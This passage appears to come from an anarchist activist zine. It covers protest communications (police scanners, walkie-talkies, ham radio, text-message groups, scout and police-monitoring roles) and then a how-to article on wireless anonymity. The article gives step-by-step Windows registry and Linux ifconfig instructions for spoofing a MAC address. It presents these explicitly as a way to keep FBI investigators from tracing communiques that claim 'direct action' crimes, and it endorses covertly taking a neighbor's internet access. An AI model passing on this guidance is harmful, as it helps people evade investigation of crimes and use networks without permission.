limited amount of radio frequencies. Imagine that the government of a large
city, say, Chicago, wants to set up a radio network. Chicago is a very big city
and has a great deal of communications needs. The Police Department, the Fire
Department, the Parks Department, the Water Department, the garbage collectors,
and many more all need to communicate, and many of these agencies will need to
use at least a few frequencies. This creates a problem, because radio
frequencies are not an abundant resource. Even a hundred or so fre- quencies
might be impossible to come by. So, someone figured out how to utilize fewer
frequencies for more activity. Most people using a radio aren't using it all or
even most of the time. Let's say that Chicago needs a hundred separate channels,
but they'll only use each channel about ten percent of the time. That means that
if there were a way to share frequencies, they could put all 100 channels on
only ten frequencies. This is what trunking does. 

When dealing with a trunking system, one is presented not with frequencies but
with ‘workgroups.' Every radio is assigned to a workgroup, and each workgroup
has a different purpose. The police, for example, might have five different
workgroups representing different districts. The system is controlled by a
computer that broadcasts a digital signal on its own frequency. Whenever someone
in a certain workgroup presses the button to broadcast something, the computer
assigns them a frequency to broadcast on and tells every other radio in that
workgroup to listen to that frequency. In use, the system is totally
transparent; it doesn't seem any different than using any other radio. 

What does this mean for you? First, if the agency you want to listen to uses a
trunking system, you will need a trunking scanner. There are several different
trunking systems, so before getting a scanner, figure out which kind you'll
need. The scanner I have can scan Motorola or EDACS trunked systems, which
account for almost all of them. You'll also have to read your manual and learn
how to program in the system you want to listen to. It's not that hard, I
promise! Also, if you're scanning around and hear a bunch of random tidbits that
don't relate to one another all on the same frequency, you're probably listening
to bits of a trunked system. 

A very small amount of agencies are now using ‘digital' trunking. I don't know
much about this yet, except that you have to get a really expensive scanner to
follow it. If your local department uses this, you might be shit out of luck.

If used properly, a scanner can keep you one step ahead of the police in the
streets. At a recent small-scale street protest in a little college town, we
used one to learn where police were setting up, how many of them there were,
and what their standing orders were. They even unknowingly helped us find the
local Starbucks and Army recruiting station! This allowed us to maneuver around
town without getting cornered, and to disperse before they were ordered to
arrest us. Not bad! 

I most frequently see people at protests attempting to communicate by means of
FRS (Family Radio Service) or GMRS(General Mobile Radio Service) walkie-talkies.
These radios are often available on the ‘optional payment plan' at department
stores, outdoor stores, WalMart, and so on. Though they are cheap or free, these
radios have severe limitations. 

The Family Radio Service is one of the ‘Citizen's Bands' designated by the FCC
to permit families and friends to communicate over short distances. You don't
have to have a license to use one. However, the FCC has severely limited the
output power on FRS radios, which means that at most they have only a one mile
range. In practice, this range is much shorter, especially in major cities where
there are many tall concrete buildings and other kinds of interference. My
humble opinion is that these radios are totally useless in any important
situation. They are simply not reliable, not to mention static-ridden. I've seen
FRS radios fail to communicate over a distance of only one block! 

The General Mobile Radio Service is a radio service specifically established by
the FCC ‘for short-distance two- way communications to facilitate the activities
of an adult individual and his or her immediate family members.' The regulations
allow for more powerful transmitters (1 to 5 watts), which means that GMRS
radios have a significantly greater range. These radios tend to be much higher
quality. However, in order to legally operate a GMRS radio, you must first
obtain a license from the FCC. I am still somewhat dubious about how effective
these radios can be in direct action, but they are definitely a much better
option than FRS radios. 

The operation of FRS and GMRS radios is basically the same, and usually very
simple. There is typically a small LCD screen that displays a number
prominently. This is the channel you're operating on. Everyone who wishes to
communicate together must set their walkie-talkie to the same frequency. Some
radios also have what is referred to as a ‘decoder' or ‘digital decoder.' If
your radio has this, a smaller number will appear next to the channel number.
This is the decoder number. A decoder allows your radio to filter out unwanted
transmissions by only letting those with the right decoder message through. If
you are communicating in a network that has some radios with decoders and some
without, those radios with decoders must set their decoder number to ‘0' in
order to be understood by the others. Check your manual to learn how to do this.
Channel: Each channel on a radio refers to a different frequency. Band: A band
is a range of frequencies. Tip: Only one person can broadcast on a radio
frequency at a time, so keep your transmissions brief, and don't try to talk
over anyone. Tip: When using a radio, speak calmly, and keep the microphone six
to twelve inches from your mouth. Talking too loudly or too close will turn your
transmission into a garbled mess. 

Amateur Radio Service (Ham Radio)
Ham radio is a service specified by the FCC to allow individuals solely with a
personal interest (as opposed to economic interest) to operate on several
different radio bands. The ham radio specification gives an operator a lot of
freedom as to the frequencies and equipment she can legally use.

The benefits of ham radio are extensive. The specification allows the use of
transmitters as powerful as 1000 watts in some cases! It also allows you to use
frequencies that are so low that their wavelength can be 10 or 20 or more meters
long. This means that the signal can travel extreme distances before fading.
People have often used ham radio to communicate with people halfway around the
world! You can even use ham radio to bounce a signal off satellites or the moon. 

Like any thing else, though, ham radio has its downsides. For one, legally, you
have to be licensed to operate a ham radio. Also, the equipment can be
relatively expensive and difficult to obtain. It can also be a bit more
complicated to operate. 

The licensing process for ham radio is pretty straightforward. Local ham radio
hobby groups sponsor testing all over the country. You can find out where the
nearest test is being given at www.arrl.org. To study for the test, I recommend
finding a copy of Now You're Talking! This book covers everything you need to
know for the test. Honestly though, the test is very easy. If you're pressed for
time, consider just reading through the questions in the back of the book: these
include every possible question that could be given on the exam.

First, you'll want to take the ‘Technician' exam. This will give you access to
the most popular ham radio bands. If you get really interested, you might
consider taking the ‘Tech Plus' (for which you'll need to learn Morse code),
‘General,' or ‘Extra' exams, each of which offers added privileges. Another
reason to own a ham radio license is that it often gives you the right to carry
a scanner on the street. Many states have ordinances pro- hibiting this, but
they usually have exceptions for licensed amateurs.

Ham radios have a great deal of potential for our purposes. There are many
handheld ham radios available that would be perfect for use in the streets.
Because these radios are relatively small, they are usually limited to only 5 or
6 watts, which is relatively low. However, amateur hobbyists have set up a
network of ‘repeaters' all over the country that allow you to extend the range
of your radio. Essentially, a repeater is a station that receives broadcasts on
one frequency, and then rebroadcasts them on a slightly different one; for
example, a repeater could pick up a transmission from a relatively weak handheld
radio and rebroadcast it at a few hundred watts or more. Suddenly, the range of
that relatively weak handheld becomes immense. Imagine a comms team able to
communicate not only throughout a whole city, but an entire region! 

All in all, I think ham radio is a valuable resource. I find it to be a much
better option than FRS or GMRS for anyone that can acquire the technology and
take the time to get the license.

Remember: Any transmission that goes out over radio waves can and will be heard
by the authorities.

SMS Text Messaging
For anyone that's been living in a cave recently, I'm envious. But you may not
have heard about this wonderful technology! SMS text messaging is the same thing
that people all over the place are using to send little notes back and forth
between cell phones. Basically, it's a protocol that allows people to send
simple plain-text messages to each other via wireless devices.

SMS doesn't just work on cell phones either. You can also receive messages with
an alphanumeric pager. They've even created little two-way pagers that have a
full keyboard so you can receive and respond to text messages.

A corporate defector I know grabbed a few of these two-way pagers for me once.
They turned out to be very useful. Messages came in without any possible loss of
clarity. They worked almost anywhere, and you could respond quickly. I'm not
sure how much the service cost because a major investment firm was paying for
mine, but I've heard that it's somewhere between $10 and $20 a month.

The recent release of txtmob.com really established text messaging as a tactical
tool. Txtmob.com is the brainchild of those lovely people over at the institute
of applied autonomy (appliedautonomy.com). Essentially, the service acts like an
email list. People subscribe to a group, and messages sent to the group get
rebroadcast to everyone else in the group. Just like an email list, a txtmob
group can be invite-only or open for anyone to join, and it can be moderated
(only one person can send messages to the group) or unmoderated (anyone can send
to the group). Txtmob was created for use during the Democratic National
Convention protests in Boston. It was used by the Indymedia collective to
rebroadcast reports as they received them. In this way people were sent timely
and clear information regarding the activities of police and protesters in the

I find this technology to be one of the most promising to protesters in the next
few years. To begin with, SMS enable devices are all over the place, many people
have SMS enable cell-phones, and pagers are pretty cheap. SMS can enable a large
number of people to communicate almost simul- taneously and with little risk of
distortion or confusion. In addition, SMS devices are almost always in signal
range, and messages can be broad- cast across the country. 

Putting It All Together I can already hear you squirming impatiently in your
seat, dear reader. You're saying, ‘The technology's all fine and good, but how
can we use it to form effective comms teams'? In all honesty, I'm not a hundred
percent sure. I have yet to operate with a comms team that worked to my complete
satisfaction. However, I do have some good tips about using comms, and some
ideas as to what a really good comms team might look like.

Comms Team Structure The most important step in forming a solid communications
infrastructure for an action is getting right people for the job. Those
participating in a comms team should, ideally, be cool, calm, and quick-witted.
There are many roles individuals can play, and it's important to match the right
person to each one.

The most visible member of the comms team is the scout. Scouts are primarily
useful in a mass-protest or march situation. It is their job to collect
information about the movements of the police or any other po- tential threat to
the action actually occurring. Scouts should make efforts to make themselves
hard to spot and hard to capture. To this end, I've used two basic approaches:
bicycles and disguises. Bicycles are great for scouts because they allow them to
move very quickly about a large area. A quick and experienced bicyclist is also
very difficult to stop and arrest. Disguise is a more effective technique if the
group needs continu- ous updates on or from a given location. In the past, I've
scouted an area by donning a nice suit and drinking coffee on a patio of
interest. No one thinks twice about a ‘business person' drinking coffee and
talking on a cell phone or typing on a laptop. 

Tip: Don't use too many codes. In a stressful situation, militants will be hard-
pressed to remember the meaning of codes they're supposed to use on air, and the
quality of communication will deteriorate. 

I believe a solid comms group should also include someone whose sole job is to
monitor police transmissions. In some cases, it is actually beneficial to have
several people doing this. I say this because a person can only listen in on one
transmission at a time, but in a mass-protest situation there will likely be
lots of police transmissions occurring simultaneously. It would be the duty of
those filling this role to report back on any announced police strategies,
movements, arrests, standing orders, and so on. 

Scouts and radio monitors will, in many circumstances, be generating a great
deal of information, too much, perhaps, to make any sense to the great majority
of people participating in the action. For this reason, I be- lieve that it can
be necessary to have several people whose task it is to sort through the
information, pick out the pertinent parts, and re-broadcast these to the masses.
Perhaps we could call these people the vanguard! Seriously though, I do think
that some situations might warrant a small level of centralization in this
regard. Individuals occupying this position could make sure that important
information is relayed by as many types of media as possible: e.g., radio, text
messaging, cell phone calls, and so on. They could also find and dis- seminate
crucial logistical data, such as potential alternate routes, by looking at
street maps, sewer maps, and such. 

At the protests against the World Bank that occurred in Prague late in 2000,
there was an information clearinghouse in the form of a room with several
telephones operated by people equipped with maps. They received constant updates
as events developed, and plotted the movements of police and protesters on these
maps; they also took phone calls from demonstrators in need of this information.
By many accounts, this service was critical to the success of the protests. Of
course, your comms team may find it handy to have a tech-geek around. (I
volunteer!) This person could make sure that the radios are working right, the
scanners are programmed, the txtmob list is set up, the repeaters are functional
and so forth. 

You can make a radio repeater very simply with two radios. A repeater receives a
signal on one channel, and rebroadcasts it on another; this is handy for
increasing the range of a radio signal, or for allowing someone to hear the same
signal on several different bands, for example, you could pick up a ham radio
signal and rebroadcast it on a GMRS frequency. 

To do this, you need a radio capable of receiving the signal in question, and
another radio capable of broadcast- ing on the desired output frequency. You'll
need to take these radios to an electronics store and find a cable or an adapter
that allows you to connect the headphone (output) jack of the receiver to the
microphone (input) jack of the transmitter. Connect the two devices. Depending
on your output radio, you may need to turn on ‘vox' or ‘accessory vox.' You may
need to fiddle around with it, but it should work just like that. 

 Anonymity with Wireless Networking                                   by IMPACT

Somewhere in this country right now there is an FBI branch office, and in this
office is a cluttered desk, and on this desk is an investigation manual, and in
this manual is a chapter entitled "Investigating Political Crimes." And the
first thing this section says is "Track the communique."

Since perhaps the inception of direct action militants have composed and
released, by various means, statements explaining their action. These
communiques, which are of the utmost importance to a campaign of "propaganda by
the deed," can be dangerous, and have often turned out to be the fatal stumbling
block in what might have otherwise been an ingeniously conceived of and executed
plan of action. The communique often serves as the state's first piece of
evidence that directly connects back to the individuals involved in the crime
under investigation. Because of this, the DA enthusiast must be extremely
cautious with communiques lest her words of inspiration to the masses become her

Over time, the method by which communiques have been delivered has varied.
Perhaps the first one was carved into the body of a fallen crusader and
catapulted over a castle wall. Who's to say? As time went on, new technologies
provided new opportunities and risks for dissidents to get their message out.
The Internet is the most obvious modern instance of this trend.          

The Internet offers many advantages to agents in the field (which is to say our
agents in the field). Most obvi- ously relevant are the internet's capability of
reaching such a large amount of people in such short time and a the sense of
anonymity that it provides. It is this sense of anonymity that has caused
trouble for some. In this article I plan on explaining why this sense of
anonymity is little more than an illusion, and then go on to show how - like
many illusions - this one can be made real with a little effort. 

Each time we open a web browser and type in an address we're asking our computer
to contact another com- puter and retrieve certain information. It's like
getting in a cab and saying "Take me to Barthélemy's Bar." In order to actually
get to the bar though, the cab driver has to process this information into
something actu- ally usable such as an address, or intersection. Your computer
does the same thing, it translates the domain name you typed in into what is
referred to as an IP address. Every computer connected to the Internet has an IP
address. An IP Address is a set of four numbers ranging from 0 to 255 separated
by decimal points, eg. Think of this like the street number
attached to your house or your telephone number. Unlike street addresses and
phone numbers, though, your IP addresses can change, and will typically do so

Every time you visit a web site, send out an e-mail, or do some other task
online, the IP Address your comput- er is using is logged. Even though this
number might not be your number in the sense that your phone number is your
number, it can still be traced to you. If, for example, you were using a dialup
or broadband Internet account with someone's name attached to it, then the
Internet Service Provider can determine whose account the address was attached
to at the time you visited the site. Even if you use a publicly accessible
computer, your activities can be traced. 

Let's say, for example, an anarchist writes a communique on a computer at a
public library. This library is a little less conservative than most these days
and doesn't require users to log in with an ID or library card. So, the
anarchist in question thinks she's free and clear. She is, of course mistaken.
The first thing the Feds would do is find the IP Address of the computer that
sent the email, or posted the message on a message board or whatever (this is a
trivial task). Next, they would check publicly available records and find out
that the IP Ad- dress is owned by the library in question. The Feds would then
go to the library and ask their computer techni- cians which library terminal
was using the IP Address in question at the specified time. With this
information the Feds would probably proceed to confiscate and fingerprint the
equipment, and check any video surveillance to determine who was using the
terminal at the time. It may be that the Feds get nothing from this information,
but did our anarchist really need to take that risk? 

Luckily, there are better ways. One of these came with the advent and
proliferation of wireless networks. They're everywhere these days, in homes,
cafes, corporate offices, anywhere you can think of. Many of these networks are
totally wide open for the public to use.

Using a wireless network offers some strategic advantages to someone seeking
anonymity on-line. First, because the user is not bound by wiring, they can be
physically distant from the actual internet connection. Right now, for example,
the author is using a home-made antenna to covertly steal internet access from
the neighbor down the street. An additional benefit comes from the network
architecture typically used in a wireless network. Remember how I said an IP
Address consists of four numbers ranging from 0 to 255? Well, this means that
there are a limited number of IP Addresses available. Considering that the
internet is a world- wide resource, this number is actually relatively low.
Because of this fact, a system was developed whereby multiple computers could
share one IP Address. For the record this is known as Network Address
Translation. A system set up with NAT consists of a computer that has a real IP
Address, known as the server, and a number of computers that have fake
addresses, known as the clients (these addresses tend to be 10.x.x.x or
192.168.1.x; where ‘x' is a number 0 - 255, but they need not be). The server
receives requests for internet content from the clients and then requests that
information from the internet, when the internet responds with the requested
content, the client determines which client asked for it, and then sends it to
that computer. The important thing to note is that any client under such a
system has no unique IP Address, and most wireless networks use this kind of

So, let's revise our example above. This time the anarchist uses a laptop to
access an unprotected wireless network made available by a public library. In
order to avoid suspicion and detection she accesses the network from a bench
well out of site of surveillance cameras in the public park next to the library.
When the Feds get wind of it, they will, once again, be able to trace the
communications to the library. This time, however, the library's computer
technicians won't be able to tell the feds much because they have a publicly
available wire- less network, and the feds will gain little from surveillance
footage. Quite an Improvement! 

Alas, this second scenario is still not good enough. That is because of a
nefarious little piece of information known as the Media Access Controller
Address, or MAC Address. The MAC Address - sometimes referred to as the Network
Address or Physical Address - is a number that is intended to uniquely identify
the piece of hard- ware you are using to connect to a network. If an IP Address
were the license plates on a car, then the MAC Address would be the VIN number.
Every piece of network hardware, including your wireless adapter, has a MAC
address, and unlike an IP Address, this unique identifier is passed on and
recorded even across a network using NAT. Luckily, it is nearly impossible to
track a known MAC Address to the person that owns that piece of hardware. It is
possible, however, for an investigator to compare a known MAC Address to the MAC
Address on any Network Interface Cards a suspect might own. 

So, in the example I just gave, our anarchist may not get off altogether. Since
the author of the communi- que made no effort to conceal her MAC Address, the
feds will learn it. Let's say that our protagonist lives in a relatively small
town, and is known to belong to a small community of anarchists there. Our
anarchist may come under suspicion for the actions claimed in the communique
just by virtue of already being on the law enforcement's radar. If this is the
case, the investigators are likely to confiscate this person's computer and
check the MAC Address to the one used to issue the communique. When they find
that they are a match, our friend could get in some serious trouble. All is not
lost though, with a bit of knowledge and practice, one can learn to hide their
MAC Address. 

The process for changing one's MAC Address in windows is relatively straight-
forward, but first-timers and/or those intimidated by computers may find the
process baffling at first. I urge you, the reader, to look over these step-by-
step instructions and their accompanying diagrams several times. After you think
you have it down, be sure to practice a few times before you need to do it in a
"real-world" situation. 

Step 1: To give you a feel of what we're going to do, go to Start->
        Programs-> Accessories-> Command Prompt. A box with some text and a
        blinking cursor should come up. Type this command ipconfig /all. You get
        a bunch of information regarding your network connections. Somewhere in
        this information will be a line that reads "Physical Address..." (See
        figure 1). This is your current MAC Address, write it down for
        reference. It will be a series of 6 numbers represented in hexadecimal
        format (this means that a digit can be 0 through 9 or a through f where
        a through f represent 10 through 15). Our goal is to replace these
        numbers with different ones. In order to do this we need to edit the

Step 2: The registry is a repository of data that is used by the operating
        system. Typically the user needn't worry about it at all. In windows we
        can edit this data by using the regedit program. Click Start-> Run. A
        text box will pop up type "regedit" (figure 2) and hit okay. The
        registry program will open (figure 3).

Step 3: Look at figure 3. On the left side of the window you will see various
        expandable folders. These work just like the file browser included in
        windows. Folders open up to new folders in an expandable tree. The
        difference is that these folders contain different keys and each key
        contains different data. 

        The data we want to change can be found in the key located at:
        11CE-BFC1-08002bE10318}]. To get there click on the little plus sign
        next to "HKEY_LOCAL_MACHINE" then the one next "SYSTEM" and so on until
        you find the {4D36E972-E325-11CE-BFC1-08002bE10318}folder. Click on the
        plus next to this folder and you will see a number of subfolders that
        run in sequential order. When you are done with this step, the tree on
        the left side of the regedit window should look something like figure 4.

Step 4. Each of these folders represents a different network device. In order to
        determine which one correlates to the network card you want to change
        the MAC address on, you will have to click on each one. After you click
        on each of these subfolders, examine the data that appears in the box on
        the right. You should find some lines with descriptive information such
        as the manufacturers name. You will need to find a match for your card.
        Usually you can find manufacturer and model information printed on your
        card. Continue look- ing through the sub-folders until you find a match.
        On my computer under folder 0016 I find a string entitled "ProviderName"
        and its corresponding value is "Lucent Technologies" and there's another
        string called "Ven- dorDescription" and its value is "ORiNOCO PC Card (5
        volt)." These clues tell me that this folder is for my Lucent
        Technologies Wavelan pc card which is based on an ORiNOCO microchip. 

Step 5. When you have found a match, look in the window on the right under the
        "name" column for a string called "NetworkAddress." If none exists, you
        will have to create it. Right-Click in the box on the right and click
        New-> String Value. Name this string "NetworkAddress." 

Step 6. Now, all you have to do is give "NetworkAddress" a value, or alter the
        value already there. Double click on "NetworkAddress" and in the value
        field enter a string of 12 characters ranging from 0 to 9 and a through
        f, eg. 022CDEAD4e2c. (Figure 6) 

Step 7. Close the regedit program and restart your computer.

Step 8. Let's see if this worked. Open a command prompt (Start-> Programs-> 
        Accessories-> Command Prompt) and type ipconfig /all. You should see
        that the fake MAC Address your provided is displayed.

Step 9. If your MAC Address did not change, or if your internet connection
        ceases to work, you may have provided an invalid MAC address. Another
        possibility is that there are more than one entry in the registry for
        your wireless card, look through the subfolders under
        11CE-BFC1-08002bE10318}] again and see if there's another folder that
        describes your card. In either case repeat steps 2 through 8. Once you
        see that your "Physical Address" has changed by issuing the ipconfig
        /all command in the command prompt you are done.

Step 10. Send your communique, or do whatever thing it is that you don't want
         the feds to know about.

Step 11. Repeat steps 2 through 9 to change your MAC Address again.

For anyone using the LINUX operating system,4 the process of changing MAC
Addresses is fairly simple. I am going to assume that the reader already has a
running LINUX machine with a functioning wireless adapter. If this is not the
case, there are numerous resources online that can help in this regard. Please
note, that some of these steps may vary slightly given different LINUX
distributions and wireless cards. 

Step 1.  Open a terminal. This process will be different for all distributions
         of LINUX. Most LINUX distributions now default to a graphical user
         interface that includes a desktop, icons, and other doodads. Typically
         there will be some sort of application menu. If you can find this, look
         for terminal, xterm, konsole,or some- thing of the sort. If all else
         fails consult the web site of the distribution you are using. 

Step 2.  Type the iwconfig command in the terminal window and hit enter. You
         will see various information regarding your wireless device and any
         network it may be connected to (see figure 8). Note the name of the
         device on the left side. In my case, my wireless device is named "eth1"
         this may vary depending on your setup. 

Step 3.  Now type ifconfig and hit enter. Ifconfig will display a variety of
         network information (see figure 9), but what we are worried about is
         the string that follows "HWaddr" this is the device's MAC Address.
         Write this down for reference.

Step 4.  Turn off your wireless adapter. This is typically done by issuing the
         ifdown <device name> command. (See figure 10)

Step 5.  Change your MAC Address by issuing the following command: ifconfig
         <device name> hw ether xx:xx:xx:xx:xx:xx where each x is a digit from
         0 to 9 or a to f. (see figure 10)

Step 6.  Turn on your wireless adapter. This is typically done by issuing the
         ifup <device name> command.

Step 7.  Check your work. Issue the ifconfig <device name> command again. You
         should see that the MAC Address has changed. If this is not the case,
         or if your internet connection stops working, you may have entered an
         invalid MAC Address. Repeat steps 4 through 7 until it works.

Step 8.  Send your communique or do whatever you want.

Step 9.  Change your MAC Address again by repeating steps 4 through 7.

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